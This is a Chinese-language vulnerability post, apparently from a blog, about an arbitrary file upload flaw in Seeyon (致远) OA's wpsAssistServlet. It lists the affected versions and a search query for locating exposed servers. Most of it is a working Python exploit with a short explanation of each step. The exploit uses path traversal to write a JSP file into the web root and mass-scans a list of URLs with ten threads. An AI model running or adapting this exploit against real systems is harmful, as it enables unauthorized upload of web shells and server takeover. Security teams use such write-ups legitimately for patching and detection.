致远OA文件上传漏洞
wpsAssistServlet 任意文件上传
漏洞描述
致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限
漏洞影响
致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)
网络测绘
app="致远互联-OA" && title="V8.0SP2"
poc
# -*- coding: utf-8 -*-
import requests
from concurrent.futures import ThreadPoolExecutor
def check_url(url):
target_url = url + "/seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugggg.jsp&fileId=2"
headers = {"Content-Type": "multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b"}
data = """--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel<% out.println("seeyon_vuln");%>
--59229605f98b8cf290a7b8908b34616b--
"""
try:
response = requests.post(target_url, headers=headers, data=data, timeout=5)
if response.status_code == 200:
print(f"{url} is vulnerable.")
with open("result.txt", "a") as f:
f.write(f"{url} is vulnerable.\n")
except requests.exceptions.RequestException as e:
pass
urls = []
with open("urls.txt", "r") as f:
for line in f:
urls.append(line.strip())
executor = ThreadPoolExecutor(max_workers=10)
for url in urls:
executor.submit(check_url, url)
# 等待所有线程执行完毕
executor.shutdown(wait=True)
简单分析一下代码:
1、定义请求头请求体,然后请求,如果返回200,将漏洞地址打印追加写入到文件里,并忽略异常
2、创建一个空列表urls存储urls.txt中读取的URL地址,只读打开txt文件
3、line.strip() 方法去除行首和行尾的空白字符,并将处理后的URL地址添加到 urls 列表中
4、创建一个 ThreadPoolExecutor 实例,使用 max_workers=10 参数设置最大工作线程数为10
5、遍历 urls 列表中的每个URL地址,对于每个URL地址,使用 executor.submit(check_url, url) 方法提交任务给线程池执行。check_url 是一个函数,用于检查指定URL的漏洞
6、循环结束后,调用 executor.shutdown(wait=True) 方法等待所有线程执行完毕。wait=True 参数表示等待所有线程执行完成后再继续执行后续代码

浙公网安备 33010602011771号